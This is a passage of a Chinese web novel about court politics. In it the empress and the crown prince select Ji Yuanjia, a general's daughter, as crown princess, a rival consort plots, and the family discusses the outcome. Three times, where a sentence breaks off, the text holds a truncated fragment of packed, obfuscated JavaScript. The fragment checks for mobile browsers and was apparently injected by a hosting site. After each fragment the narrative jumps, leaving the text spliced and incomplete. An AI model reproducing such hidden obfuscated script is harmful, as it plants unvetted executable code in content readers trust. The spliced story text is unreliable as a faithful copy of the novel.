“起来罢!”娄皇后虚抬了下手,“想你母亲还未出阁时,予还同她在宫里相处过一段时日。一晃,竟这么多年过去了。” “母亲少时,得幸于先太后娘娘,这才有机缘与皇后殿下同处。如今虽因嫁人离了皇宫,却也时常同舒和说起从前在宫里的日子呢。” 赵舒和浅浅一笑,像是在顺着娄皇后的话一起回忆,又像是在不着痕迹地提醒些什么。 娄皇后能主动提起她的母亲,实在是再好不过。 她今日盛装而来,既是谨记不在贵人面前失仪,当然也对空置许久的太子妃之位怀有别样的心思,但归根结底,还是为了她母亲福昌郡主的那点指望。 她的母亲是郡主不假,可失父失母,一身体面俱是先太后给的,婚事也是求到先太后面前成的,甚至连广平侯府多年不断的恩宠,也是她母亲嫁入侯府后,先太后爱屋及乌下的照拂抬举。 可以说,先太后很长一段时间都是福昌郡主的倚仗,也都是广平侯府的倚仗。 赵舒和身为福昌郡主的女儿,自然也曾亲历过,甚至也跟随过自家母亲进宫,见识过皇宫的碧瓦朱檐。 只是,她虽占了嫡出的名头,却不是侯府的大娘子。盖因当年福昌郡主临出嫁前,府上的一个侍女突然怀了身孕,在福昌郡主入府后不久生下了孩子……幸而只是个女儿。那赵大娘子顶了个尴尬的齿序,又是广平侯一堆风流账的起始,自小便少现于人前,亦不去福昌郡主跟前惹眼。 但因广平侯是福昌郡主自己瞧中的,所以先太后也只是多番“提点”,广平侯也当然“爱重”福昌郡主,一直到……先太后离世。 福昌郡主骤然失了倚仗,也远了与皇室的联系,广平侯府的地位自然也就大不如前。至于赵侯爷,没了能在上头压制他的人,如今待福昌郡主,虽还敬着,却已然失了情意了。而失了先太后庇佑的福昌郡主,在侯府地位式微,那侍女生的大娘子也开始小动作不断起来。 福昌郡主被人捧了许多年,也顺了许多年,如今的日子自是过得不舒意。恰逢娄皇后设赏菊宴,又只邀了上京部分适龄女郎入宫,意图明显。赵舒和便是得了自家母亲的叮嘱,奔着太子妃的位子,还有她们母女俩与皇室的来日去的。 “你母亲虽非皇室中人,却也因先太后的眷顾在宫里生活了近十年,离宫记挂也属平常事。” 娄皇后不知想到了什么,笑意微敛,“一说到你母亲,予少不得又想起了靖安郡主……安沅,安沅在哪儿?怎么坐得那么远,予都要找不见人了。” 柳安沅闻声上前。停在赵舒和身侧的时候,也学着她之前的样子挑衅一笑,而后才屈膝行礼,语气更显亲昵:“安沅给皇后殿下请安,见过太子殿下!” “你今日倒是规矩,”娄皇后的笑容多了几分实意,“你母亲上次进宫时还向予抱怨呢,说你被宿国公给宠坏了,日日在府里胡作非为。今日若是叫靖安瞧见,只怕立时便要去给佛祖烧香还愿了!” “母亲惯会在您面前说我坏话!安沅又何时不规矩过!” 柳安沅嗔道。 一直沉默的燕景祁突然开口,“靖安姑姑比咱们都要疼表妹,瞧着是在母后面前抱怨,只怕在家时宠得比柳公爷还厉害呢。” “你又何尝不宠着她!” 娄皇后指着人笑道。 “我从来拿表妹当嫡亲妹妹一般看待,自然也要多看顾几分了。” 燕景祁笑言。 柳安沅这厢笑语盈盈,一旁的赵舒和却只能强打精神,虽还笑着,面色却不如先头那般好了。 她的母亲,自先太后离世后,便只能如寻常命妇一般,于年节奉诏入宫。而柳安沅的母亲却能够随心所欲、三不五时地入宫叙话,甚至与皇后一家亲昵至此……此情此景,如何不叫赵舒和灰心丧意! 娄皇后又与二人谈笑了几句,方才让其归座。 而后,又挑着问了在场的其他几个人,欧阳沁才打了胜仗回来,自然又被多问了几句。 元嘉的座次稍远,自己也没有参与其中的心思,只愣愣盯着眼前最近的一盆花发呆。 她还在想季元淳的事情。 “……季姊姊,你方才不见了好一会,可是遇上了什么事情?” 说话的,是上州刺史周家的三娘子。 周三娘子自幼随父母在任上居住,直到周刺史月前回京述职,才跟着父亲的车驾留京常住,也因此在上京少有交好的女郎。她其实并不认识元嘉,只是早前等在窄桥时听人说起过两句,又因坐席与元嘉毗邻,这会儿迟迟未得娄皇后相问,恹恹之下见元嘉亦是一副愣神模样,便自觉生出几分同病相怜之感,遂找了个由头搭起话来。 只是这一开口,又未顾及音量,当即便有人将目光投向元嘉。 耳畔突然传来问话声,元嘉也不免吓了一跳,而后迅速回神,调整好表情道:“本想出去清理一下的……喏,衣袖上脏了一块。” 说着,又将沾上酒渍的那一面朝向周三娘子。 “脏在这处,怕是不好打理的,保不齐整件衣裳都毁了。” 周三娘子不无可惜,“姊姊的侍女没带备用的衣物么,怎不干脆新换一身?如此显眼,贵人怕是一眼就看到了……” 元嘉低头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“季将军倒也是个喜好风雅事的人。” 娄皇后讶道。 “父亲对这些不甚感趣,只是,”元嘉满脸无奈,“这画本是父亲托人寻来,预备送给家母的生辰之礼!如今,全叫这浑小子给搅和了。” 元嘉的父母,素来恩爱。当年季将军三登顾氏门,求娶顾氏女之事,到现在都是上京城里人人称道的佳话。 娄皇后听后,更是难掩笑意。 一直默不作声的燕景祁也开口了:“这位季小郎君、性子倒与五郎颇像,年纪也相仿,若能彼此结识,或许能引为至交好友。” 燕景知,娄皇后的小儿子,也是燕景祁口中的五郎。因不足月而生,幼时常有病痛,帝后疼惜之下,难免宠溺。自然,也养了个骄横恣肆的性子。 “仔细他听见了闹你!” 娄皇后失笑,“……挑个五郎在的日子,让季小郎君进宫里来,予也瞧瞧。” 这句话分明不是对元嘉说的,可元嘉却听得心惊胆战。她既摸不准燕景祁无端提起季元淳的动因,也猜不透娄皇后决定让季元淳进宫的心思。 唯一能做的,只有谢恩应下。 “兰佩!” 元嘉尚且心中惶惶,娄皇后却已然吩咐起来,“予记得……陛下前两日还给五郎送了好几把雕弓与木剑,让人各取一把来,送去季将军府邸。想来,季小郎君也会喜欢的。” 元嘉有些惴惴不安,但仍强撑着面上的镇定,又一次屈膝谢过,“臣女谢皇后殿下恩赏。” “申时安,去孤的库房取副六博棋来,一并送去季将军府。” 燕景祁语气平淡,像是在说一件无关紧要的小事。 又朝娄皇后解释道:“儿臣记得,季将军家中还有位小女儿,也是这般的年纪。剑与弓给了男孩儿,这六博棋便给女孩儿罢!” “便都依你!” “……谢太子殿下恩赏!” 元嘉又一次屈膝,微垂着眼睑不再抬起。 “缘分一场,便当是给季小郎君与季小娘子的礼物罢。” 燕景祁视线从元嘉头顶掠过,说的话也似乎含了别的意味…… “季将军素来忠心,你也是个好的,”娄皇后噙着笑,“行了,回去坐着罢。” “……是!” 元嘉眼睫轻颤,内心几度纠结。她想看一眼娄皇后,又或是燕景祁,想看看他们这些坐在上首的人究竟存着什么念头……可最后还是压了满腔的惑意,行礼退下。 5. 席后事 清宁宫内。 娄皇后歪着身子,整个人颇为倦累地倚在软枕之上,不时抬手轻捶肩背。熙宁公主陪在身边,正从兰佩手里接过茶盏,小心拂去面上浮沫,又以指腹确认过温度后,方才往娄皇后的方向递去。 娄皇后抬手接过,低头啜饮一口,又朝兰佩一示意,后者立刻退了出去,只将空旷的殿室留给眼前的这对母女。 “今儿个怎么是你亲自送五郎回宫?”娄皇后慢吞吞地搁下杯盏,又睨了人一眼,“结果人没看住不说,这会儿还不知跑到哪里去野了……你之前不还说约了人今日去看雪松?” “哪是儿臣没看住人哪,分明是五郎自己,一下车便蹿得不见人影了……至于看雪松么,”熙宁公主转了转眼珠,“儿臣也惦记着今日的赏菊宴呢,不知道母后相中了谁?” “人人都有自己的小心思,”娄皇后揉了揉鬓角,“哪是那么好选的。” “……儿臣倒是听说,季家娘子是个不错的。” 熙宁公主侧头打量着娄皇后的神情,忽而开口道。 “你这话又是听谁说的?” 娄皇后反问道。 “头先过来时,正巧遇上祁弟出宫,便聊了会儿。” 熙宁公主也不隐瞒,“儿臣问起来,他只说季家娘子是个好的,旁的再没有了。” 娄皇后闻言一笑,也不否认。 这还有什么不明白的…… 熙宁公主奇道:“看来母后也觉得那位季娘子好了?” “你弟弟走前,也同我说过一样的话……我也确实对她印象颇佳。”娄皇后话也干脆,“恭而有礼,进退得宜,家中也和睦,母亲和兄嫂又都是顾氏女,品行上定是不会差的。虽说季家早年间也闹出过兄弟阋墙的事情,可分家到现在也有许多年了,且未必不是件好事……最要紧的,还是她出身武家。” “武家?” 熙宁公主似有所悟,却还是有些不解,“可席上出身武家的,远不止她一个呀。” “季连在边关打了十几年的仗,兵士中信服者甚多,近几年也是欧阳沁顶上去了,他才逐渐退下来长居上京,可到底在武将中颇有威望……” “而欧阳家更是三代为将,欧阳沁虽为女子,岁数也还年轻,领兵的本事却不差。从前在她父亲、祖父麾下的,如今大多也愿意听她差遣。而昭献大长公主的旧部,为着她的女将身份,素日里也多有厚待……这两家在武官中的分量可不低。” 娄皇后指节微曲,一下又一下地敲击着桌面,“如今虽四方安定,却也不能重文轻武,寒了保家卫国的将士们的心……这位季娘子,是季连的长女,又与欧阳沁自幼相熟,更别说她与安沅的交情了……选她,再合适不过。” 熙宁公主顿时了然。 “那确是再合适不过的,”熙宁公主点了点头,忽而又奇道,“只是、祁弟又是怎么选中的?他可只在席上见了人一面呢!” “你弟弟在来的路上,与那位季娘子偶遇了。” “……什么?” 熙宁公主的声音沉了下去,似有不悦之意。 “要说还是五郎的错,”娄皇后忍不住摇了摇头,“把人家弟弟从马车上诱下来,又招呼都不打一声地带去别处玩耍。车夫找不见人,让做姊姊的在里头干着急、想法子,这才撞上了你这个弟弟……” 娄皇后隐去许多不提,只捡着关键的说与自家女儿听。 “看来,祁弟与这位季娘子之间还发生了不少事情。” 熙宁公主瞧着娄皇后的笑脸,故意道。 “你弟弟帮了季娘子一把,替她将人找了回来,这会儿应该已经送回马车上了……这也没什么,偏之后两个人都想着避讳,一个停在原处不肯走,一个独自在附近绕圈子。你弟弟倒是被我瞧见了,喊了他过来,这才知道前番情事。” “……那季娘子倒是个明白人。” 熙宁公主的语气这才好转。 “你弟弟也是知道她的顾虑,直等到人回席上坐着了,才跟着我一道过去呢!” 娄皇后回想起当时的画面,忍不住又是一笑。 而让她最后下定决心的,还是元嘉在席上泰然自若的姿态。衣染污渍,行却坦然,只有这样稳重大方的女子,才能撑得起国朝储妃的名号。 哪怕、这个女子根本不想成为太子妃…… “祁弟既肯为了季娘子等在外头,想来也是满意的……若能借此忘掉前头那个,便更好了!” 熙宁公主不知娄皇后心中所想,尚在自说自话。 娄皇后轻嗤一声,眼中似有不满,却还是克制道:“……三郎喜欢,这些话以后少说。总归人已经死了,其他的,慢慢来就是了。” “要女儿说,祁弟就是习惯了……少时便在宫里陪着呢,隔三差五就能见上面的人,哪能缺了情分?” 熙宁公主还欲说些什么,到底是念着娄皇后的话,硬是给压了下去,转而道:“母后怎么让赵二娘子与沅表妹同席了?她俩人最是不睦的。” “前些时候,安沅惹了你靖安姑姑生气,被拘在家里日日做针线磨性子……她哪里坐得住,宿国公看着也心疼,偏自己也因为安沅的事情受了牵连,不敢在这当头火上浇油,只好求到我这里,好说歹说让安沅出来透口气,别真给憋坏了。” “至于赵二娘子么,你都在诗会上当众夸她了,我自然要把她算在内的,总不能下自己女儿的面子罢?”娄皇后打趣一句,又道,“且靖安和福昌不睦尚情有可原,她们两个小娘子有什么好结仇的,坐在一处倒也无妨。” 熙宁公主跟着笑了两声,须臾又拧起眉,显出几分犹豫与可惜,“赵二娘子是有几分才气,但也仅限于此了……她与福昌郡主,心里想要的都太多了。” “福昌郡主命好,也不好,”娄皇后重新拿起茶盏,浅啜了一口,“赵二娘子么,也算被教养的极好了,就是心思重了些……毕竟此一时彼一时,广平侯府如今不景气,后宅也乱的很。福昌郡主膝下庶子女颇多,二娘子再不费心思量,她们的日子早晚难过。” 熙宁公主却有些不以为然,“眼下这境况,不也是福昌郡主自己求来的。女儿那时年纪虽小,却也还记得,福昌郡主是如何与靖安姑姑处处相争的,又是如何带着自己的一双儿女在姑姑面前趾高气昂的。” “……愈发胡说起来,”娄皇后伸出一截指节,往熙宁公主的额头轻点了两下,“都是你的长辈,说话哪能这样没个轻重?” 熙宁公主没所谓般耸了耸肩,又依偎在娄皇后身边,“好了好了,女儿不说就是了……母后打算何时去季府宣旨呢?” “这倒不急,”娄皇后轻轻拍着熙宁公主手背,“你先随我去一趟紫宸殿,把人选告诉你父皇,也好叫他安心养病,少为儿女事操心……唉,你父皇这几年的身子一直不见好,太医署的药方换了一个又一个,偏一点起色都没有,若你弟弟娶新妇的喜事能叫他精神些,便再好不过了。” 熙宁公主听到后半截话,眼中不□□露出一丝黯淡,却仍佯装无觉,只勾起一抹笑弧,道:“便是母后不说,我也是要缠着一块儿去的。父皇前几日还允诺女儿,说要把景山上的一处别院给女儿呢,偏这几日什么动静都没有……今日正好借着祁弟的事情,与您一起去找父皇讨个说法!” “……你们几个姊妹当中,你父皇总是最疼你的。” 娄皇后无奈笑道。 熙宁公主面上的笑弧愈大,“我可是父皇和您的女儿,他自然得疼我才行!” 母女俩正说着体己话,兰佩复又进殿,“女君,公主,步辇已备好了,这就可以出发了。” 娄皇后嗯了一声,又朝熙宁公主道:“咱们这会就过去,迟些怕就要耽误你父皇歇息了。” 熙宁公主欸了一声,起身扶过娄皇后便并肩走了出去。 …… 紫宸殿内。 光熹帝半靠半倚地坐在榻上,身边还胡乱摊放着好些奏章。 “太医都说了,您这病最忌疲累!” 熙宁公主甫一进殿,便将散乱铺在光熹帝身边的奏章全部扫开,跟着又抽走前者拿在手里的另一本,毫不客气地开口:“本就该好生养着,您倒好,还整日整日的劳神!” “瞧瞧,我儿真是愈发神气了,都开始管起我这个做爹的了。” 光熹帝没有丝毫不悦,笑呵呵地任由熙宁公主动作。 迟一步进来的娄皇后无奈摇头,“还不是您给惯的!” “什么惯不惯的,这是父皇疼女儿,在对女儿好呢!” 熙宁公主嗔道。 “我总是说不过你的。” 娄皇后亦是宠溺。 光熹帝舒眉展笑,倒摆脱了几分病气,依稀可窥过去的锋芒。 娄皇后瞧在眼里,心头蓦地一松,顺势坐在光熹帝身旁,道:“太子妃的人选,妾身已心中有数了。” “……这么快就定下了?” 光熹帝闻言微诧,“不是半个时辰前才把进宫的女眷们送走么?” “您自己说的,这件事宜早不宜晚,”娄皇后露出一抹浅笑,“如今定下来了,您该高兴才是,怎么反而奇怪起来了。” “看来梓童给太子挑了个好人选,”光熹帝含笑看着娄皇后,“也不知道是哪家的娘子?” “便是季连季将军的长女,唤作元嘉的。” “季连?我还记得他当年一门心思要娶顾家那女郎时的样子呢,一晃眼,他的女儿竟也这般大了……” 光熹帝忍不住感慨道。 “那位季娘子,年纪虽不大,待人接物却沉稳,又敬上爱下,家中也是自来和睦的。妾想着,这样好人家的闺女,定是个会心疼太子的。” 娄皇后又道。 “季连的丫头……好,也好。” 光熹帝掩嘴轻咳两声,“他自己就是个有本事的,夫人又是顾氏大族出身,他们夫妇俩教养出的女儿,我也没什么不放心的。只是……” 光熹帝迟疑几瞬:“太子那边可知会了?只咱们觉得好还不够,也得太子自己点头。否则两人不睦,好好的眷侣成了怨偶,倒算是咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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薛德妃气急,一时口不择言。 嗅香顿时跪伏在地:“娘娘慎言!” 薛德妃猛的收了口,半晌又难掩愤恨:“可怜我薛家的女儿竟无一人赴宴!皇后竟吝啬至此,连一张邀帖都没送去承恩侯府……便是她与本宫不睦,何苦要坏我薛氏女的前程,白白叫太子娶了旁人!” 说着,又掩面作垂泪状:“我可怜的玉女阿!” 这才是她今日如此怨怼的原因。 “娘娘忘了?太子殿下心里还装着咱们大娘子呢,便是被皇后赐了新妇,那人又能在东宫占几亩田地……小薛娘子也还没及笄呢,天长日久的,娘娘何愁找不到机会?” 嗅香压低了声音:“陛下如今身体也不大好了,谁知道还能撑几年?只要太子登基,娘娘便是帝母,是太后!彼时再让小薛娘子进宫,有娘娘这位太后姑母撑腰,太子又是个心系旧人的,小薛娘子何愁没好日子过?更别说小薛娘子还是……总之,等年岁大些再露脸,那才对咱们最有益处。届时,娘娘与薛家,才真的是尊荣鼎盛,富贵无极呢!” 薛德妃顿了顿,将手放下。她的眼眶微红,眼里却没有一丝泪意。 “用得着你来劝本宫!” 薛德妃冷冷道,“若非念着这个,本宫当年又何必把自己的儿子给出去!只可惜棋差一招,叫陛下与本宫离了心,皇后那里也不复从前……哼,且让皇后得意些时日罢,只要太子心里还挂记着人,本宫早晚都会如愿!” 嗅香被这声斥骂吓得轻颤了几下,却仍不忘逢迎:“娘娘说的是!” “……让人去打听打听,”薛德妃保养得当的指甲在黄梨木桌面上轻轻划过,“究竟是哪家的娘子得了这份福气,把名字报回来,本宫也好一并替她在佛前祝祷,请神佛佑她……无子而终!” 嗅香佝偻着身子,将头埋得更低,只低声答了声“是”。 …… “……字字句句都在怪予呢。”娄皇后抬手把人挥退,朝左右笑道,“三郎养在予的身边,倒把她的心给养大了。” “德妃对您不敬,是否要……” 兰佩轻声询问道。 “不必管她,只想着自家一亩三分地的人,能翻起什么风浪?”娄皇后面露不虞,“如今要紧的是太子……难得他也愿意,予得快些将这件事定下来!” “太子自来与您是一心的。” 兰佩笑呵呵道。 “太子是个懂事的,所以予才要多替他费心打算,没的被别人给耽误了。” 娄皇后叹道。 “季娘子也定是个好的,不会辜负女君您的期许!” 兰佩又道。 “只盼予这次的眼光没错,”娄皇后沉吟道,“让人把名册翻出来,看看季家那小娘子是何日及笄,还有……” 娄皇后扶着兰佩的手坐起,又慢慢踱回后殿,声音逐渐远去。 6. 淡淡思 “人回来了么?” 元嘉快步走向自家马车,一见着崔贵便迫不及待地开口。 “回来了回来了,是被一位中官大人送回来的。” 崔贵一面答话,一面将脚凳从马车后头搬下来,又架在元嘉的脚边,“就是、还带了不少东西过来,说是皇后殿下与太子殿下赏赐的。” 元嘉松了口气,朝崔贵匆匆一点头,便挟着迟来许久的怒火掀帘进了车厢。前者则等到徐妈妈和盼春也上了车,所有人都坐稳以后,方扬了马鞭朝季府而去。 “季元淳!” 元嘉甚少这样连名带姓地叫人,但这会儿又气又恼,便也顾不得许多了。 “阿姊……” 季元淳眼皮耷拉着,扁着嘴一副老实模样,“我、我真不是故意的,我不知道那是什么地方,就听见有人喊我去玩,我见他跟我年纪差不多,就、就没想那么多……” 车厢内空间不大,又挤了个季元淳,便更加窄仄了。徐妈妈不着痕迹地朝盼春抬了抬下巴,后者便会意地侧过身子,又往元嘉的手上递了个杯盏,试图缓和缓和,也替自家小郎君解个围。 元嘉接过杯盏,却只放在自己膝上,长吸了一口气,忍了又忍,“你知道那人是谁么?” 季元淳观察着元嘉的面色,动作极小地摇了摇头,“他让我叫他五郎……” 元嘉气极反笑,启唇还欲说些什么,却被徐妈妈隐晦地扯了扯衣角,无声说着‘不可’二字。 不可妄议皇室。 元嘉一下子收了声,贴着杯壁的指尖用力到有些发白。须臾抬起手,缓缓将其凑到嘴边,垂眼饮下大半。 “那你是怎么上的马车?” 元嘉换了个问题。 季元淳一听便委屈了,半吞半吐地抱怨起来。 原是季母忙着元嘉入宫赴宴的事情,又担心底下人乱嚼舌根惹出祸事,特意发了话不叫多议论,连带着几个小的院子里也没有知会。 其他人都好,偏季元淳是个皮猴性子,瞧着下人们进进出出的忙碌模样,心中实在好奇,偏又问不出个所以然来。抓耳挠腮了几日,总算在季母与别人的说事声中听到了元嘉今日出门的时辰,这才起了主意偷上马车,想要逮住自家姊姊细问一通。 只是没想到,季元淳起的太早,藏进马车后便困得睡了过去,直到马车停在宫门外,才悠悠转醒。 “你身边的小厮呢?院子里的侍女呢?” 元嘉皱着眉继续问道。 “……他们笨的很,我一下子就甩开了。” 季元淳小声嘟囔着。 元嘉气恼地伸出指尖,在季元淳因撅嘴而显得圆鼓鼓的脸颊上狠戳了一下。 “一会儿你自去跟阿娘解释,我是管不了你了!” 让她焦急担心了这么久,真真是气人的小混蛋! 季元淳一听便蔫巴了,挪着身子直往元嘉怀里挤,不住地撒娇卖乖。元嘉却是打定了主意不看人,任他抓着自己的手臂左右摇晃,毫不动摇。 马车又晃晃悠悠地走了两刻钟有余,才终于缓了速度,在一声嘶鸣声中停了下来。 元嘉下了车,转身朝徐妈妈道:“就请妈妈把淳弟带回幽篁院了,我一会儿再过去请安。” 徐妈妈落后两步,牵着季元淳的手笑着应下:“大娘子累了一天,先回去换衣梳洗,用些吃食,稍作休息后再去向夫人请安也不迟。” “如此也好,辛苦妈妈陪了我一日。”元嘉没有推拒的意思,事实上她也确实有些疲累,只是心中尚有些许疑问,亟待徐妈妈解惑,“白日里的那位姑姑,是……” “娘子勿急,先回去收拾妥当了,迟些在夫人院里一道细说,可好?” 徐妈妈温声道。 元嘉点了点头,再不停留地回了居胥阁。 …… 念夏早备好了热水,元嘉一回来,便有条不紊地拥着人去屏风后梳洗。拂冬则将元嘉换下的衣物拿了出去,另取了新衣替元嘉换上。等元嘉收拾妥当后再出来,敛秋也已从小厨房提回食盒,正依次往罗汉床上的小方桌上摆。 “……拂冬,去告诉盼春一声,让她好生在自己房里歇着,之后就不必再来我跟前守着了。” 元嘉坐在罗汉床上,简单吩咐了两句,方才舀着碗里温度适中的白粥细细咀嚼。 拂冬欸了一声,脚步轻快地小跑出去。 元嘉慢慢将碗里的粥饭食尽,最后挟了几筷子小菜放进嘴里,只觉肚腹微胀,整个人也暖和起来了。另换到侧旁的软榻上坐下,元嘉看着敛秋领着小丫鬟将方桌撤了下去,自己则撑着下颌发呆,不多时竟有些昏昏欲睡起来。 又过了一刻钟的工夫,拂冬才重新走了进来,臂肘间搭了件厚实的斗篷,“娘子,斗篷给您拿出来了……这就可以去夫人那里了。” 元嘉闭着眼嗯了一声,再睁开时已恢复了清明,“你随我同去,其他人就各自留在屋子里收拾罢。” “是!” 众人齐声道。 …… 幽篁院作为季宅的主院,坐落于居胥阁东南方,两个院子相隔不远,至多一刻钟的脚程。中间有一道紫藤走廊相通,再绕过一道垂花门便就到幽篁院的正屋了。 “你真是本事了!平日在家里胡闹也就罢了,这次还敢跑到你阿姊的马车上去了!” 刚踏进院外空地,元嘉便听到一声斥喝。 季连也在。 “我、我不是故意的……” 紧跟着传来季元淳没什么底气的辩解声。 元嘉顿足,看着窗纱上被烛火映照出的数个身影,忍不住叹了口气。 她今日叹气的次数实在是有些多了。 狠狠揉搓了几下自己的脸,元嘉勉强打起精神,提裙走了进去。 “爹爹,阿娘,阿兄。” 元嘉笑着唤人。 “……阿姊!” 季元淳有些激动,一双圆眸求救似的看向元嘉。 “你喊谁都没用,”季连提着声音,怒气不减,“回去把《论语》抄上百遍,没抄完之前就别想再出门了!” 《论语》通篇便有万余字,真等季元淳抄上百遍再出门,也不知要到哪一日去了。只怕是跟靖安郡主待柳安沅一样,想把人拘在家里磨性子呢。 季元淳看着季连因怒气绷紧的脸,嘴瘪得更厉害,但也不敢再争,唉唉长叹一声,最终还是垂着脑袋应下。 “……人也认罚了,主君就不要再气了,先放这小子回去吃饭罢,”季母劝了句,又吩咐起人来,“李嬷嬷,把小郎君带回自己房里,看着他把晚饭吃了,早些梳洗休息,明日再开始抄书。” 李嬷嬷应下,朝在场几人一屈膝,方牵着情绪明显消沉的季元淳转身离开。 屋内骤然安静下来。 “元娘,坐下说话罢。” 季元泓,便是元嘉的兄长,开口道。 “徐妈妈都同我们说了,阿淳他没给你惹麻烦罢?” 季母看着乖巧坐在身侧的元嘉,不免关心道。 元嘉笑着摇了摇头:“虽有波折,却也顺利解决了,淳弟不也平平安安地回来了么?” “那是这小子运气好,遇上的是五皇子,若是宫里的其他人,我看他还有没有命回来!” 季连说着又动了气,手掌狠狠拍向桌面,带出一阵沉闷的回音。 季母少不得又劝了两句。 “还要多谢徐妈妈那位旧识呢,替咱们传了个信,这才没惹出大祸,”元嘉自己气过了,这会便开始担心起季连来,也怕季元淳再领新罚,遂新起了话头,“也不知那位姑姑姓甚名谁,来日若有机会,也好报答一二。” 后半句则是对徐妈妈说的。 “说来惭愧,我只记得她与我是同期进宫,却早忘记这人名姓了……” 徐妈妈面露回忆之色,“她说,我当年给过她一个手炉,让她不至在冬夜里被冻死——我倒是不记得了,又说这是救命的恩情,一定要报。却不想我后来离宫归家……找了许久,又打听了许久,才知道我留在了季家,也才有了今日的因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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元嘉摇摇头,“我只遇上了太子,没见着别的人。便是太子将此事告诉了皇后,她在席上时也该是不知道的……大抵是听说淳弟与五皇子的性子颇像,这才玩笑提了一句罢。” 季元泓抿嘴不言,季连也还在沉默,倒是季母安慰似的拍了拍元嘉手背,笑着开口:“物尽其用。贵人既敢赐,咱们便也受得起。” “我倒不是担心这个,”季连看着发妻,难得生了几分犹豫,“我是怕太子见了元娘,又无由来地与皇后赏赐了家中这两个……” 虽没有继续说下去,但言下之意也是再明显不过的。 “爹爹毋须担心,”元嘉宽慰道,“便是太子见了女儿又如何?皇后邀宴,天家择媳,最看重体统规矩的地方,女儿却因一己私事离席,还厚颜去求太子的施援。如此逾矩,太子不见怪已是万幸,又怎会再对女儿有好印象……这种关乎国本的大事,哪是能凭一次偶遇便草率决定的!” 本是为了打消季连的顾虑才说的这些话,可说着说着,元嘉自己倒先气恼起来……白日里的心惊胆战在此刻俱化作了无名孽火,灼烧着她的五脏六腑,一股气被生生憋在胸口,吐不出,散不去,只害得自己难受。 季母更是责怪般瞪了季连一眼,“八字都没一撇的事情,要你在这里危言耸听!有心思的人家尚且镇定自若呢,你倒好,明明是见惯了死生场面的大将军,这会儿反倒失了稳重了,说出去都叫人好笑……太子妃竟是这样好选的?” 没了惯称的主君,语气也算不少好,任谁都看得出来,季母这是生气了。知女莫若母,季母如何看不出元嘉的消沉与憋闷,心疼女儿的同时,便也忍不住迁怒起来。 “夫人,夫人!” 季连立时讨饶,“为夫错了,为夫错了……” 场面一时生变。 季连唯恐季母是真的生气,一迭声地跟人解释,倒把一双儿女抛在了脑后,也管不得什么选太子妃了。 季元泓无奈地摇摇头,领着元嘉起身告退。 两人并肩出了幽篁院,一路无言。天已经黑了,季府里外都点上了灯,烛芒映在地上,将两人的影子拖得颀长。 元嘉被季元泓送回了居胥阁,转身欲走之际,却听耳畔传来一声—— “勿怕,不会的。” 那是兄长对妹妹不安内心的回应。 元嘉突然便如释重负了,脸上扬起一抹浅笑,整个人也松快不少。 “知道啦!” 她听见自己这样说道。 7. 匣珠玉 赏菊宴后,元嘉只短暂休息了两日,便应了欧阳老夫人的邀约,陪着自家母亲去欧阳府坐了好几日——这原也是为了柳安沅。前者被靖安郡主拘在家中许久,好不容易借赏菊宴的事情出来透了口气,唯恐自己回去又要从早到晚地对着针线,便央着元嘉两人寻个由头请靖安郡主外出做客,一并让她也脱个身。 可惜被婉拒了。 靖安郡主言说家中有大事操办,一时不得空闲,是以柳安沅也没能出门。 还不等两人想透是什么大事,便接到了以宿国公府名义发出的邀帖——柳安沅的堂姊,国公府二房家的三娘子要行及笄礼了。 事实上,元嘉与欧阳沁同这位柳三娘子并无太多交情,更谈不上闺中密友,这样的场合按说是不该出现的。 只怕又是柳安沅想出来的迂回之计。 元嘉搁下帖子,又招手唤来盼春,“柜子里有对孔雀花卉纹金镯,拿锦盒装着的。你去找出来,到时随我一起去宿国公府。” 盼春笑着应了,几步消失在帘后。 …… 三日后,元嘉应邀而至。 为怕柳安沅久等,她特意去的早了些。到时人并不多,门口也只零星停了几驾马车。元嘉来国公府的次数不少,早被府里上下认熟了脸。下了车便被侍女笑盈盈地迎进门,又轻车熟路地去找柳安沅。 穿过抄手游廊,再跨过一道垂花门,元嘉总算瞧见了熟悉的霞色身影——柳安沅正老实站在靖安郡主身后,陪着与人寒暄说话。 元嘉停下脚步,见引路的侍女犹豫着不敢上前,便笑着朝来时的方向指了指,示意她放心离开。至于她自己,踮着脚探了两眼后,便姿势熟练地选了根距离最近的廊柱,仗着周围一时无人注意,歪着身子便靠了上去。 这会儿过去怕是会打扰人说话,还是在这里等会罢。 元嘉想。 却是柳安沅的侍女眼尖,眼珠乱晃时正把元嘉瞧了个正着。她动作微小地扯住柳安沅袖角,又不着痕迹地朝元嘉方向示意了几眼。柳安沅立时反应过来,按捺住欢欣朝靖安郡主说了什么,又朝面前两人一屈膝,便脚步轻快地向元嘉跑来。 元嘉不想她动作如此之快,连忙摆正了身子,远远朝着几人一见礼。她这时才看清,与靖安郡主说话的究竟是什么人——南平郡王府的谢老夫人,她的身边还跟了个年轻后生,瞧着比柳安沅大不了两岁。 “……我是不是打扰到你们了?” 元嘉小声道。 柳安沅一把挽过元嘉,又掉了个头,带着人慢悠悠地朝角门走去,“我还嫌你出现的迟了呢……” 见元嘉似有担心之色,又补充道:“真不妨事儿,我们家与谢家是多年的老交情了,从外祖母在时便有往来了,熟的很……不会怪我失礼的。” “那就好。” 元嘉这才放心,又盯着眼前的路道:“不是去接沁姊姊?怎么往角门的方向走了。” “姊姊说她骑马过来,这处的角门离马厩近些,她便不过正门了。” 柳安沅解释道,注意力却有些分散,不时看向路过的人,像是在寻觅什么。 两人说话间到了角门,未等多久便听到一阵极具节奏的马蹄声—— 欧阳沁也到了。 